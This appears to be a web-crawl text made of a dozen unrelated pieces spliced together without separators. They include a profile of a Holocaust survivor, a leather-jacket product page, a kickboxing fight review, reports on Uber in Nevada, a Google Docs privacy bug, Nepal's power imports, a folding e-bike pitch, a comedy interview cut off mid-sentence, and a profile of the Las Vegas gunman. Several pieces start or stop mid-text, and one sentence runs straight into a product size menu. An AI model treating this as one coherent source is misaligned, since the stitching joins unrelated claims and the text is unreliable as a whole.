Marco Frigatti, head of records for Guinness World Records, right, poses with Yisrael Kristal, second right, as he presents him with a certificate for being the oldest living man, in Haifa, Israel, in March. Kristal is seen with some of his family members, from left to right, grandchildren Nevo and Omer, son Heim Kristal and daughter Shula Kuperstoch. (Dvir Rosen/Guinness World Records/Associated Press)
The illnesses rampant in the ghetto claimed the lives of their two boys, but Kristal and his wife were still alive in late 1944 when the Nazis emptied the ghetto and sent the Jews of Lodz to Auschwitz.
His wife was killed soon after arrival. Kristal was put to work.
"My father was strong and not emaciated as he hadn't been starved in the ghetto," said Kuperstoch. "Still, the terrible conditions in the concentration camps meant that by the end of the war in April 1945, he weighed only 37 kilos."
After a long rehabilitation, Kristal returned to Lodz and found he was the only member of his extended family left alive. When he went to a tailor to buy new clothes, he met Batsheva Judah, who had also lost her entire family. Three days later, they married.
"They were entirely alone in the world. So, why should they remain alone?" Kuperstoch said. "They built a wonderful life together, which lasted for more than four decades, till my mother's death."
'Rebuild what was lost'
The Kristals came to Israel in 1950. He set up as a confectioner, even though sugar was scarce.
"He founded a successful business, through hard work and also because it was his passion," Kuperstoch said. "When there was no sugar, he would pick carob off trees and distill sugar that way."
It's been a life-long passion. When he turned 100, a big party was held in his honour, and Kristal made a package of candies for each guest.
Kristal has a standard answer when asked the secret of his long life: He says he can't tell you.
There have been smarter, stronger and better looking men than me who are no longer alive. - Yisrael Kristal, 113
"I don't know the secret," Kristal said in a statement at the time of his entry into the Guinness World Records book. "I believe that everything is determined from above, and we shall never know the reasons why. There have been smarter, stronger and better looking men than me who are no longer alive. All that is left for us to do is to keep on working as hard as we can and rebuild what was lost."
His daughter suggests his moderation and modesty are part of the reason for his long life.
"He never eats to excess," she said. "I've never seen him eat till he's bursting. He always eats slowly and not too much."
The other factor is his sense of humour.
"Maybe that's his secret. His sense of humour. His optimism," she said. "He's always hopeful and sees the glass half full. He sees the good and gives thanks for what he has.
"Every day, he asks for one good day. He wakes up, thanks God for yesterday and asks for one more good day. He doesn't have huge ambitions, but he slowly collected many days, one by one."--- Please Select --- XSmall (Must see our size chart) Small (Must see our size chart) Medium (Must see our size chart) Large (Must see our size chart) XLarge (Must see our size chart) 2XLarge (Must see our size chart) 3XLarge (Must see our size chart) 4XLarge (Must see our size chart) Custom (+$20.00)
Ask a question about this product Your Name Your E-mail (Will not be published) Your Question Answer the question below Send
Mr Rager Kid Cudi Asymmetrical Zipper Motorcycle Leather Jacket
The impressive actor and recording artist Kid Cudi dressed Kid Cudi Leather Jacket. When he appeared in the same outfit, the fashion lovers became crazy. Now everybody can get it at reasonable price. Kid Cudi released his second album in 2010. Kid is also a best performer and is famous for outstanding acting. The asymmetrical zipper shutting down style has made it eye-catching. High class leather is used in the making of exterior part of Mr Rager Jacket. Quilted red arm and shoulder are looking fabulous on black outerwear. It is especially designed for bikers. Wear it and ride your bike with high confidence because you will look amazing. Two front vertical zipper pockets are added at the chest. The sleeves are long in size and have fitting style. The rib-knitted hemline has formed dazzling appearance. At the backside of Mr Rager Kid Cudi Jacket you will found two more zipper vertical pockets. The new style of cuffs you will enjoy in the same apparel. The cuffs are made of rib-knit and it also has zip closure.Review by AllTheBestFights.com : 2015-01-24, technical fight but not so exciting: Giorgio Petrosyan vs Erkan Varol gets two stars. 2015-01-24, technical fight but not so exciting:gets two stars.
The former Glory and K-1 World MAX champion Giorgio Petrosyan entered this fight with a professional kickboxing record of 76-2-2 (35 knockouts) but he is not ranked as ‘The Doctor’ hasn’t fought since November 23, 2013 when he suffered his second defeat of his career during the semifinal of the Glory lightweight tournament against Andy Ristie (=Petrosyan vs Andy Ristie, in this fight the Italian broke his left hand) who then won also the final against Robin van Roosmalen (=Roosmalen vs Ristie).
His opponent, Erkan Varol, has an official record of 86-14-0 (45 knockouts) but he lost four out of his last six fights: against Albert Kraus, Marco Pique, Jamnian Srikam and Stelios Papadoloulos (his last bout) while he defeated Nikos Kontgiannis and Reyad Hamza. Petrosyan vs Varol is the main event of Thai Boxe Mania 2015. Watch the video and rate this fight!
[php]
include(“banner2.php”);
[/php]
Event: Thai Boxe Mania 2015
Date: 2015-01-24
Where: Palaruffini, Turin, Italy
Division: super welterweight (154 lbs, 69.9 kg)
Result: Click here to show the fight’s result
Giorgio Petrosyan def. Erkan Varol (unanimous decision)
Petrosyan’s previous fight: Giorgio Petrosyan vs Andy Ristie
Varol’s next fight: Enriko Kehl vs Erkan Varol 2
Petrosyan’s next fight: Giorgio Petrosyan vs Enriko Kehl
[php]
include(“banner.php”);
[/php]
Video:The panel of Delhi and UP government said that there were no signs of lasting environmental damage in the site. (IE)
Art of Living Foundation, an NGO led by spiritual leader Sri Sri Ravi Shankar, was apparently given a clean cheat by the governments of Delhi and Uttar Pradesh in a case where the NGO was accused of damaging nearly 420 acres of the Yamuna floodplains. Contradicting the earlier report, submitted by the seven-member panel set up by the green body, a three-member committee of Delhi and Uttar Pradesh governments in its report to the National Green Tribunal has said that there were no signs of lasting environmental damage where a cultural event in 2016 was hosted, as reported by Hindustan Times.
After inspecting the site on Wednesday, the three member panel submitted a report stating, “the land where the function of Art of Living was held is fully covered with grass along with some saplings/seedlings of various tree species. This kind of grass and natural regeneration of seedlings is not possible on compacted soil.” Earlier, a seven-member committee, comprising scientists –CR Babu, AK Gosain, NK Labhasetwar and others–had said the floodplains were damaged because it was levelled by compacting soil and several water bodies had been filled up.
As per the latest report, there is no significant size of wetland or water body noticed by the committee in the area used by the Art of Living. The committee further added that it also could not see any heap of debris on the site. The committee, referring to the Google earth images, said in its report that it could not locate any “heap of debris” on the site and it is evident that no “wetland or water body” is seen on the site prior to the event, PTI reported. Terming the matter ‘fait accompli’, the NGT had on March 2016 allowed the festival, as they could not ban it. Earlier, the NGT was told that rehabilitation of Yamuna floodplains will cost INR 13.29 crore and take almost 10 years, as per PTI.A glitch within Google's free Google Docs utility caused some private documents to be exposed, the company has confirmed. Only a small number of users was affected, and the issue has now been fixed.
Google Docs' Privacy Problem
Engineers discovered the Google Docs privacy problem over the weekend, initially posting about it in the official Docs Help forum. The bug, Google representatives believe, was limited to less than 0.05 percent of all documents within the system -- and the files affected were exposed only on a limited basis.
"The inadvertent sharing was limited to people with whom the document owner, or a collaborator with sharing rights, had previously shared a document," explains Jennifer Mazzon, product manager of Google Docs. "The issue affected so few users because it only could have occurred for a very small percentage of documents, and for those documents only when a specific sequence of user actions took place."
That sequence of actions involved a user selecting multiple documents within his or her account, then making any type of adjustment to the files' "share" settings. Both documents and presentations were affected. Spreadsheets, however, retained their appropriate privacy settings in spite of the glitch.
Notifications Sent
The good news: If you didn't receive an e-mail to the address associated with your Google Docs account, your account wasn't impacted. Google directly contacted everyone whose documents might have been compromised, indicating within the message specifically which files may have been shared.
"We're sorry for the trouble this has caused," Mazzon says. "We understand our users' concerns -- in fact, we were affected by this bug ourselves -- and we're treating this very seriously."Pablo Blazquez Dominguez/Getty Images RENO, Nev. (AP) — A Washoe County District Court judge granted the state's request late Tuesday for a court order blocking the ride-sharing company Uber Technologies from operating unregulated in Nevada, saying Uber's refusal to comply with the necessary state licensing requirements could put the public's safety at risk.
Nevada's attorney general filed a lawsuit last month arguing that the Internet application matching riders with drivers using personal cars for a fee infringes on the franchise rights of taxi companies and cabdrivers serving fare-paying passengers under state oversight.
Washoe District Judge Scott Freeman granted the state's request for a preliminary injunction pending a future trial based on concerns that Nevadans could be at risk as a result of the company's refusal to follow state laws regulating commercial motor carriers and passenger transportation services.
Freeman's ruling came after Nevada Department of Business and Industry Director Bruce Breslow and Freeman himself praised the Uber application. Breslow said he has used it multiple times in other cities where it's regulated.
"There's no question it's a wonderful product," Freeman said. "But I'm charged with following the law — the law currently in existence.... I'm not going to risk the safety of the public."
The Delaware-based Uber maintains it is a technology company, not a transportation-services company subject to Nevada regulations that apply to taxis or commercial motor carriers. The state is trying "to compel a legal round peg into a square hole," said Don Campbell, a Las Vegas lawyer representing Uber.
Breslow testified that representatives of Uber met with him last month to discuss ways they might comply with those regulations. But he said that two days later he was blindsided by Uber's formal launch of its business in Nevada on Oct. 24 with nothing more than an email notice that morning.
Travis Kalanick, Co-Founder and CEO of Uber, a mobile application connecting passengers with drivers of vehicles for hire, talks during a session of LeWeb 2013 event in Saint-Denis near Paris on December 10, 2013. ERIC PIERMONT/AFP/Getty Images
Deputy Attorney General Gina Session said Uber's defiance of state authority was unprecedented in her 20 years of dealing with regulatory law in Nevada. "I've never seen a multibillion-dollar company come into Nevada and so aggressively and deliberately disregard the law," she said.
Freeman questioned witnesses and lawyers directly at times during a more than six-hour hearing in his Reno courtroom on Tuesday.
"Why did Uber choose to operate first without regulation?" the judge asked Uber's lawyers at one point. "Why didn't you try to change the law first, then operate?"
Campbell pleaded with Freeman to deny the request for a preliminary injunction because there has been no irreparable harm or threat to public safety. He recommended instead that the judge set an expedited hearing schedule for a pending trial, which has yet to be scheduled.
Freeman said he would provide more detail in a formal order he hoped to issue on Wednesday. He ruled earlier Tuesday that taxi companies can't join the state's lawsuit because it currently is a regulatory matter, not a question of economic damages. He said that Bell Limo and Whittlesea Checker Taxi can claim monetary harm later and file civil lawsuits separately, the judge said.
Uber spokeswoman Eva Behrend said in a statement following Freeman's ruling Tuesday night that the company will "continue to work with regulators and state leaders as we evaluate this development."
"Nevadans overwhelmingly support the transportation choice, competition, and job opportunity Uber brings to the Silver State," she said.
Campbell argued that the company is not a motor carrier as defined by state law, in part because it does not "hold itself out to be public." Unlike taxi cabs, the Uber drivers have no distinguishing paint or other indications that identify them, and patrons are unable to hail them from a curbside, only order a ride through the online app.
"Uber does not dispatch anybody," he said.
Campbell said that while Uber doesn't meet the specific state regulations, it does conduct background checks on drivers, requires vehicle inspections and provides assessments of drivers and riders alike in "real time" based on a reviews they can make via the online app immediately after completing their travel. He argued those reviews do a better job of detecting impaired drivers than the state's current policy that includes random drug testing.
But Freeman said that only helps after the fact and doesn't guard against dangers upon entering the vehicle. "By the time a customer figures out somebody in the car is stoned, it's too late," he said.There may be no more pitiable position on a university campus than to be an overconfident twentysomething approaching David Simon with an ill-conceived comment on "The Wire."
After watching Simon lead a lively talk at USC about the relationship between journalism and the public, a fresh-faced young man in rumpled khakis started speaking to Simon about the "Machiavellian" nature of a few of this season's characters. As the post-chat reception continued around him in a narrow law school hallway, you could see Simon's wheels turning.
"It's not Machiavellian. You're misusing the term," he said flatly, tossing aside the rest of the young man's statement. Simon then outlined the finer nuances of the "very specific" behavior characterized in "The Prince," and though the student weakly tried to defend his usage, Simon would have none of it. "[The characters] are ruthless, but they're not Machiavellian," he finished with a slight smile.
Such are the risks in squaring off with David Simon, who in an affable and engaging talk in the bowels of USC's Musick Law Building also shed some light on the roots of "The Wire," its controversial newspaper storyline and his own attitudes toward the uncertain future of journalism.
In a few opening remarks, Simon repeatedly cited Greek tragedy's influence on "The Wire," explaining that in the place of the meddlesome Greek gods who randomly ruined people's lives he subbed in modern institutions. In what seemed a preemptive nod toward any outraged Omar fans in the audience, Simon also leaned on the same source to explain the fate for some of his show's most popular characters. "Those who want to know why Omar had to die, why Stringer had to die," he said, "Strap on a helmet, get in the game and read Antigone. Read Medea. It had to happen."
After revealing the powerful influence Stanley Kubrick's "Paths of Glory" held over "The Wire" ("It's the only important political film... Watch the movie before every season and you'll get it."), Simon touched on his well-documented time as a reporter for the Sun and its impact on Season 5. After initially asking the audience what they thought the heart of the newsroom arc was, he finally explained the central message wasn't Templeton's fabrications, Gus' heroics or the paper's out-of-touch editors -- the key was what didn't happen.
"This is why I'm the king of meta," Simon said with a mischievous grin. "Everything that you know about 'The Wire' up to this point never appeared in the newspaper." He then recounted the many plot points taken from Simon's real-life Baltimore experiences -- the corrupt mayor asking for cooked crime stats, the elementary school test scores spawned from students being taught the tests, the deaths of Prop Joe and Omar -- all indicators of the city's real problems that never appeared in the Sun's pages, in reality or on HBO. "Watching a TV drama to get the truth, that's the real joke," Simon added.
An interesting insight, certainly. But as clever as this fun-house mirror sleight of hand may be, is it enough to forgive what still played like lesser drama in Simon's undeniably personal but less nuanced depiction of "The Sun's" newsroom? The finale -- and repeated viewings on DVD -- may ultimately decide.
Regardless, Simon has no regrets. He even made a point of exonerating HBO for "The Wire's" shorter run this season by explaining that if they truly needed more time to wrap up their story (which initially included the revelation that Randy is indeed Cheese Wagstaff's son), HBO would have provided it. But he feels the tighter story is stronger for it. In Simon's view, "The Wire," its characters, and to an extent the complex issues plaguing Baltimore itself have ultimately been served.
"Until these problems become the currency of debate, the 'other America' will keep being the 'other America," he told the crowded classroom as his talk wound to a close. "Except now they won't have a show because 'The Wire' is gone."
-- Chris Barton
Photo by Chris Barton / LATGuy Standing by Door at Free Show Makes Forty Bucks
CLEVELAND — Touring roadie Russ Little made $40 last night simply by standing near the entrance of a free show held at local venue The Chestnut, according to unconfirmed reports.
Little, the merch guy and occasional van driver for the hardcore band It Ends Here, was reportedly engaging in his usual pre-show ritual of looking occupied on his phone while the band was loading in their gear. Before long, a couple offered him $10 and gestured that it was from both of them.
“At first, I just thought the scene in Cleveland was crazy supportive. And when they gave me their IDs, I thought I they were showing me something funny in their license pictures, like a fake mustache or something. But they really thought I was a door guy,” said Little. “So I just smiled and said, ‘Cool,’ and gave them back. After it happened four more times, I stopped getting pissed that these people were bothering me. I realized I had a real chance to cash in.”
Instead of informing show patrons the show was free, Little continued to accept money, thanking everyone for coming out to the event.
Related:
“Look, I didn’t lie to anybody,” said Little. “People came in; I just smiled and waved. I never stopped anyone and asked for cash, but I didn’t stop anyone from giving me cash, either. If some of them perceived my style of waving as one that invited them to give me a fiver, I don’t see how that’s any of your business.”
The show, a benefit to raise funds for a local skate park to be constructed, was deemed a moderate success by the organizers.
“We didn’t exactly hit our goal tonight,” said Kate Bingham, who helped put the event together. “But we got a little bit closer. I really thought people would donate a little more when we passed the bucket around. I mean, we gave them a free show. But, oh well. We’ll take what we can get.”
Bingham later announced plans for an upcoming second fundraiser. As of press time, Little was last seen apologizing to the bartender for being too cash strapped to leave a tip.
Photo by Shelby Kettrick @ShelbyShootsStuff.Manifesto Point # 1: The original project idea and goals come from the community partner. Kanehsatake 270 Years of Resistance is arguably Alanis Obomsawin's most important film, documenting the military 1990 siege of a Mohawk reserve near Oka, Quebec, and its causes. I chose this film here because the celebrated Abenaki filmmaker told me recently: "For me a real documentary is when you are really listening to somebody. They are the ones that tell you what the story is. Not you." Alanis said these words in the short the film I made about her, called Dream Magic (2008). I actually first saw Alanis in person behind the barricades at the Oka Crisis, back in 1990. She was there with her camera, and with army helicopters and madness swirling all around, she was an apparition of hope. I was a student journalist, furious with the disparity unfolding between the reality I saw before me, and the mainstream media's skewed interpretations of it. But because of Alanis, I was also witnessing the power of documentary firsthand. It is Alanis who first showed me almost two decades ago how collaborative the process can — and should — be. And from whom to draw inspiration.When we first began to design Impossible, we felt that Impossible needed to be more than just a folding bicycle. It needed to compact enough to fit inside a backpack and lightweight enough to be easily transported anywhere. Creating a bike designed to be both incredibly light and yet durable has been no easy task.
We eventually decided on a brand new design: a frame built around circles instead of a single horizontal girder. The circular design of the frame helps to ensure that the bike spreads the weight equally across the frame. We put the seat and the handle bars at similar heights so that the front and rear wheels would bear the weight of the rider equally. We have used a carbon fiber as the primary material in the frame, making both extremely light and very durable. The “connecting box” in the middle of the frame is one of the handful of pieces made of heavier steel. This steel box can easily bear the weight of the rider and withstand the shocks associated with everyday use. In its current incarnation, Impossible can carry up to 85 kilograms/180 pounds (Please see stretch goals).
In order to save space, we have combined the function of riding saddle and carrying case. While folded, the NeverWet-coated carrying case keeps Impossible and its charger clean and ready for use wherever you choose to store it. Even on rainy days, backers can enjoy a safe and comfortable ride. The disc motor of Impossible is both lightweight and powerful. With ten 2900mah 10A 3.6V 44.5g batteries, Impossible can travel up to 12.4 mph for 45 minutes or at normal speed for up to 15.6 miles.
One of our main challenges was choosing an electric motor that would fit our parameters both in terms of power and in terms of weight. For the purposes of our proof of concept, we have modified an existing electric motor. However, Impossible coming from this project will be shipped with a motor completely designed by Impossible Technology. This motor will be a brushless DC motor designed and built specifically for use with Impossible.
For our prototype, we redesigned the switch and removed a number of unnecessary parts for the existing engine. Similar to the engine above, Impossible shipped from this Kickstarter project will use a switch completely of our own design.
Riding Impossible is a breeze. Simply point the front wheel in the direction of travel and off you go, no pedaling necessary. If we receive enough support from the Kickstarter, Impossible will also have removable covers available in a variety of colors from our online store. In its current form, around 40% of parts on Impossible are customizable, such as the wheels and handlebars. We are working to make the other 60% similarly customizable. We plan to include even more accessories and designs in the future through our online store, so feel free to send your feedback and ideas. If we choose to manufacture one of your suggestions, you will receive the accessory for free and be credited as the designer on our website.
You can fold and unfold Impossible in four easy steps
If successful, we will need around 8 months after the campaign to fine tune Impossible before we start production. As part of this campaign, we promise not to cooperate or to sign any sort of contract with a major retailer before our backers receive their Impossible. There are three packages available through this campaign: white, black, and original carbon fiber color. The original carbon fiber color Impossible will only be available through the Kickstarter campaign.
You'll need an HTML5 capable browser to see this content. Play Replay with sound Play with
sound 00:00 00:00
Packages available
T-Shirts
Impossible T-Shirt (Black)
Impossible T-Shirt (White)
We take pride in our work and believe in Impossible, so we offer a guarantee to our backers. We will be liable for all damages not caused by human error for the first year. During this time period, backers will be reimbursed for the full amount of all damages covered by this guarantee. Damage from normal use will not be covered and repair costs will be charged. After the first year, repairs and part costs will be charged according to the pricing guide available online.
Who We Are?
Our Stretch Goal
Why Impossible?
The electric scooter market has drastically grown in size in the past several years. There are a variety of electric scooter models available for consumer purchase. Why have we decided on Impossible? What makes Impossible better than what is available on the market today?
1.) Portability
This is the biggest advantage that Impossible has over any other scooter in the market. You no longer have to leave your scooter outside in the snow and rain. You no longer have to fear parking your scooter in an unfamiliar location. When you arrive at your location, simply fold Impossible back up. It can fit under your desk, in a locker, or even in your backpack. This is a level of flexibility not offered by any other scooter on the market.
2.) Utility
Impossible is perfect for urban dwellers. Traffic and congestion in the city can make any journey by car feel arduous. Impossible is the solution to this problem. You no longer have to worry about traffic conditions, simply hop on Impossible and ride off to your destination. Best of all, Impossible doesn’t need a parking space or bike rack. Simply fold it and take it up to your apartment or other destination with you.
3.) Flexibility
Impossible is different from other electric vehicles on the road. Impossible can charge anywhere there is an outlet. Low on battery? Charge it while working in the office and ride it home on a full battery. Get invited to a party after work or school? No problem. Unlike a car or larger scooter, Impossible can go with you anywhere at any time. Impossible lets you live your life without worrying about leaving your vehicle somewhere unsafe or about how to get home.
4.) Aesthetics
Impossible has an attractive and unique design. Impossible Technology has worked hard on the frame design and color schemes to ensure that Impossible isn’t just functional, it’s also pleasing to the eye.
Our Stretch Goal
Media
Members of the media may find high resolution images available at the following link:
ExtrasPodcast listeners know Kulap Vilaysack as the trusty chart keeper of Earwolf’s Who Charted?, while film and television audiences will recognize her from appearances in Childrens Hospital, Love, and I Love You, Man. During the process of completing her feature-length directorial debut—Origin Story, a documentary about the search for her biological father—Vilaysack experienced another first: Her series Bajillion Dollar Properties was picked up NBC Universal’s comedy-centric streaming service, Seeso. A parody of real-estate shows like Bravo’s Million Dollar Listings franchise, Bajillion Dollar Properties follows a group of cutthroat agents vying for a partnership in the prestigious firm Platinum Realty, all while selling houses to people played by the likes of Patton Oswalt, Adam Scott, Gillian Jacobs, and Cameron Esposito. Prior to the premiere of new Bajillion Dollar Properties episodes on Thursday, March 17, The A.V. Club spoke to Vilaysack about the show’s development, the anxiety of real-life real estate, and the potential for an expanded Bajillion Dollar universe.
Advertisement
The A.V. Club: What were the origins of Bajillion Dollar Properties?
Kulap Vilaysack: My girlfriends, like Casey Wilson and June Diane Raphael, they love the Housewives franchise on Bravo. And I just never really got into it. But Million Dollar Listings—that’s my Bravo show. And I love HGTV. I love all of those shows: Love It Or List It, House Hunters, House Hunters International, Island Hunters. If I don’t want to think, I just put that on. And Scott and I—Scott Aukerman, who is my husband—we would go to open houses, just for the fun of it. I think it was after Burning Love, someone at Paramount approached me and was like, “Hey, would you like to do something like this? A spoof?” And, naturally I thought, “Maybe if it’s about realtors or something like that.”
And then it was sort of on the back burner for a while. When Scott started Comedy Bang! Bang! Productions and was working with Dave Jargowsky, I don’t know if there was interest or I just started pursuing it harder, but that led to going back to Paramount and Tom Lennon and Ben Garant joining in as EPs. Initially, it was just going to be like seven minutes, 11 minutes, and then when Tom and Ben came in, it became this thing that I didn’t even consider, which was that it could be this 22-minute, half-hour show, bringing in a Reno 911! aspect to it. At that point in time, everything fell into place. Likening it to Reno 911! set in the world of Million Dollar Listings—that sentence opened up all the possibilities.
Advertisement
AVC: Did any of the personalities you encountered or experiences you had at those open houses make their way into the show?
KV: Going to the open houses was just the appetizer. We sold our condo and bought a home a little over a year ago, and yes, absolutely: The people that we met, the realtors that we met, but mainly my own behavior [Laughs.] because I wasn’t at my best, let’s just say that.
We did some research, and buying a home is up there with losing a loved one in terms of the most stressful things a human can go through. When you’re looking at homes, if you decide to put an offer in, you’ve already planned out five Christmases in the future. But if they don’t take your offer or other people want it—it’s just so high stress and it means so much. And there’s ego involved. If I’m selling my condo to, let’s say, some Koreans, and I feel like they’re low-balling me and I’m like “I think we can go higher. I know, this is what we do”— things like that are said, by people. [Laughs.] My realtor sometimes had to be like a therapist, and would sometimes have to be like a parent. I would be like “This is the one,” and he would say, “No, there’s this problem, this problem, this problem.”
Advertisement
I finally found a home, we’re happy—but my realtor, he continues on. And I wasn’t the only client he had. So that high-strung state, that frequency that people get on when they’re buying houses—for realtors, that’s their constant. And to me that is so fascinating. You have to deal with these crazy folks, and in L.A. I’m from Minnesota, and part of why I like House Hunters is because you see how much homes cost in other places. What you pay and what you get in L.A. is insanity. And the L.A. stuff colors it: Of course it’s like school districts and stuff, too, but like, “This house was formerly owned by this celebrity.” That just seems like this fertile ground to mine from.
AVC: What was the most ridiculous celebrity-based selling point you came across?
KV: We went to this open house in the Hollywood Hills. It was [guitarist] Steve Vai’s house. And so the big part of it was that there was a recording studio. I was like, “Oh cool: Scott and I are on podcasts, maybe that’s something we could think about.” And then you hear, “People would rent the house to record.” “And the neighborhood’s cool with that?” “No, they’re not.” So we’re like, “Is it licensed?” “No, no, no. One time there was this rapper and the neighbors complained.” [Steve Vai] smoothed it over, but it’s one thing for a famous guitarist to knock on your door and give you wine—but anybody else, this is going to be a problem.
Advertisement
AVC: So it’s not difficult to take these situations and make them the premise of a comedy show.
KV: And we have license to take it even further. That’s something Tom, Ben, and Scott brought up: These people are already eccentric. Where can we go? And much like Reno 911!, it becomes its own thing. It really is just a sketch show. And we have so many hilarious friends, and who doesn’t love to play somebody who’s self-centered and demanding, to play these |
. Nepal’s imports from India now total 350MW through four cross-country lines. Kataiya-Kushhawa line carries 120MW while 30MW goes through Tanakpur-Mahendranagar and 25MW through Ramnagar-Gandak transmission lines. The remaining 120MW is received by Nepal through Dhalkebar-Muzaffarpur. This route is under capacity-augmentation process to have a handling capacity of 280 MW. The NEA last year imported electricity from 13 points including Kataiya, Jaleshwore, Raxaul Mahanagar and Tananakpur. In December 2016, NEA imported an additional 30 MW of electricity from Tanakpur to reduce load-shedding. NEA procured the electricity from the Power Trading Corporation of India (PTC) Ltd at INR 3.75 per unit. This additional electricity for the Far West Region had to be imported as the quota of free electricity Nepal has been receiving from India as per the Tanakpur Treaty was exhausted. Nepal receives 70 mn units of free electricity annually from the Tanakpur point. Cost to State While Nepal has been procuring from India at a cheaper rate as per the electricity exchange agreement between the two countries, it has also been procuring electricity at commercial rate per unit from the PTC. The NEA has also signed an agreement to import up to 150 MW of electricity from PTC at commercial rate for 25 years. Early this year NEA and Vidyut Vyapar Nigam Ltd. of India signed a power purchase agreement signed for import of 25MW from India, in addition to the existing 350MW imported by Nepal. The additional intake takes place through a cross-country transmission line between Dhalkebar in Nepal and Muzaffarpur in the Indian state of Bihar. At the existing tariff of INR 3.60 per unit, the increased import is likely to continue till arrival of rainfall in the Himalayan terrain in May. Nepal will import electricity worth NRS 15 billion from India during the current fiscal to end power cuts in the country. The NEA has so far imported electricity worth NRS 9.68 billion from India in the first nine months of the 2016-17 fiscal. Power worth around NRS 14.9 billion was imported during the last fiscal. It is projected that additional power worth INR 6 billion would be required to be imported from India in the next three months to end power outages in the country. Accordingly, Nepal has a set plan to establish 2,200 MW fresh generation capacity and 3,000 km of transmission lines by 2020. In addition, there are plans for other projects of total 2,300MW to be developed by Indian Companies. Once established, these new projects will make Nepal a major power exporting country in the South Asian region. At the same time, India, being the major contributor to these projects and next-door neighbour of Nepal, will be one of the largest beneficiaries of the augmented volume of generated power. Power Trade India and Nepal have been talking about electricity trade and joint projects for many years now, but somehow these talks did not succeed. It was only in 2014, when India and Nepal signed a Power Trade Agreement, that the doors opened for Nepal developers/traders to access the Indian power market. At first, Nepal was apprehensive that it would not get a fair deal trading with its neighbour, but power is now traded in India on exchanges transparently and the price is known to all, thus assuaging some of the Nepali apprehensions. By selling power to India, Nepal could have developed its economy at a faster rate. Bhutan has reaped the benefits of power export to India and its per capita income in purchasing power parity adjusted for international dollars increased from USD475 in 1980 to USD7,860 in 2015. Therefore, the sooner Nepal develops its hydropower potential, the earlier the benefits will accrue. However, for electricity trade to materialise, policy, institutional and technical infrastructure are necessary. The prospect of electricity trade with India makes it possible for Nepal to develop its hydro-power potential and has important consequences. A climate of confidence and trust in the long-term trading relationship between India and Nepal not only in hydro-power but in the full portfolio of energy sources can greatly help Nepal meet its ambitious target and provide an opportunity for Indian investors to invest in Nepal. This could also help smoothen the recently strained relations with Nepal as well as strengthen the historically friendly ties.Image copyright CBS News Image caption "It was like living next to nothing," said a former neighbour of Paddock
Las Vegas concert gunman Stephen Paddock was a wealthy former accountant and high-stakes gambler who appeared to be living in quiet retirement with his girlfriend in a desert community.
The 64-year-old, of Mesquite, Nevada, had pilot's and hunting licences and no criminal record, said authorities.
One former neighbour said twice-divorced Paddock was "weird".
But his brother described him as a regular guy who liked playing video poker, live music and eating burritos.
Paddock has been identified by police as the man behind the deadliest mass shooting in modern US history, with the death toll surpassing the 49 killed at a nightclub in Orlando, Florida, in June 2016.
He opened fire from the Mandalay Bay Hotel and Casino on Sunday night, killing 58 people and wounding almost 500 others, before turning the gun on himself as police closed in, said officials.
Image copyright Getty Images Image caption Police shared this updated timeline of events on Wednesday
Stephen Paddock had a troubled childhood, with a bank robber for a father, who regularly beat him, and a mother who struggled to bring him and his three brothers up, according to reports.
One of the gunman's brothers, Eric Paddock, told reporters the family were stunned.
"He liked to play video poker," he said. "He went on cruises. He sent his mother cookies."
Their father was once on the FBI's 10 Most Wanted list.
Media playback is unsupported on your device Media caption What gunfire tells us about weapons used
Twenty-three weapons were found in the 32nd-floor hotel room that Paddock checked into last Thursday.
Police found "in excess of" 19 firearms and thousands of rounds of ammunition in his Mesquite home, within a quiet retirement community 80 miles (130km) north-east of Las Vegas.
They also found several pounds of an explosive called tannerite, and ammonium nitrate, a type of fertiliser used as an explosive, in his car.
Stephen Paddock
From 1976 to 1985 worked as a postman, an Internal Revenue Service agent and an auditor for the Defense Contract Audit Agency
Worked for the predecessor company of Lockheed Martin in the 80s
Maintained relations with his younger brother Eric but estranged from older brothers Bruce and Patrick
Grew up in Sun Valley, California, and attended California State University in Northridge
He was married twice and had no children
Sources: US media reports
Police said no manifesto or anything else had been discovered to explain Paddock's actions.
"I can't get into the mind of a psychopath at this point," Sheriff Joseph Lombardo said.
The FBI said its agents had established no connection between Paddock and any overseas terrorist group, despite so-called Islamic State describing him as a "soldier of the caliphate".
Paddock only previous known brush with the law was a routine traffic violation.
Media playback is unsupported on your device Media caption How the horror unfolded
David Famiglietti, of the New Frontier Armory, told the BBC that Paddock had purchased firearms at his store in north Las Vegas last spring, meeting all state and federal requirements, including an FBI background check.
However, the shotgun and rifle Paddock bought would not have been "capable of what we've seen and heard in the video without modification", Mr Famiglietti said.
Two gun stocks were found in the hotel room, AP news agency reported, which can enable a weapon to fire hundreds of shots per minute.
Media playback is unsupported on your device Media caption Eric Paddock says he is in total shock after police named his brother, Stephen, as the shooter
According to NBC News, Paddock recently made several gambling transactions in the tens of thousands of dollars, but it was unclear if those bets were wins or losses.
Bruce Paddock told NBC his brother was a multi-millionaire property investor.
Media playback is unsupported on your device Media caption Trump on Las Vegas shooting: 'It was an act of pure evil'
He had shown no sign of financial problems and reports said he owned a number of properties that he rented out.
Separately, Eric Paddock said that Stephen came up with the cash to ensure that family members - including their elderly mother - were provided for.
"Steve took care of the people he loved. He helped make me and my family wealthy. He's the reason I was able to retire. This is the Steve we know, we knew. The people he loved and took care of," Eric Paddock said in a news conference, according to CBS News.
He described his brother as "intelligent" and "successful."
Media playback is unsupported on your device Media caption Witnesses say people were being trampled
Stephen Paddock moved to his two-storey house in Mesquite from Reno, Nevada, in June 2016.
He lived in the property in Babbling Brook Court with his girlfriend Marilou Danley, 62.
Police have ruled out any involvement by Ms Danley, who was overseas at the time of the massacre but has now returned to the US, where she is facing questioning.
She is an Australian citizen who moved to Nevada 20 years ago, the government in Canberra said.
Image copyright Police handout Image caption Marilou Danley, initially described as a person of interest, was located by police outside of the US
A former neighbour, Diane McKay, 79, told the Washington Post the couple always kept the blinds closed at home.
"He was weird," she said. "Kept to himself. It was like living next to nothing.
"You can at least be grumpy, something. He was just nothing, quiet."
Elsewhere the newspaper quoted neighbours in "several states" where Paddock owned retirement homes, describing him as "surly, unfriendly and standoffish".
But those who lived close to a house he owned in Melbourne, Florida, have described him as "very friendly".
According to US media, Paddock had a licence to fly small planes and owned two aircraft.
In 2012, he filed a negligence lawsuit against The Cosmopolitan hotel in Las Vegas, after a fall he said was caused by an "obstruction" on the floor, the Las Vegas Review Journal reported.
The legal action was reportedly dropped in 2014.
The relative lack of red flags in Paddock's personal history has only heightened the sense of bewilderment as a shocked nation asks: Why?
Get news from the BBC in your inbox, each weekday morningComputer users in the Netherlands
Photo by RICK NEDERSTIGT/AFP/Getty Images
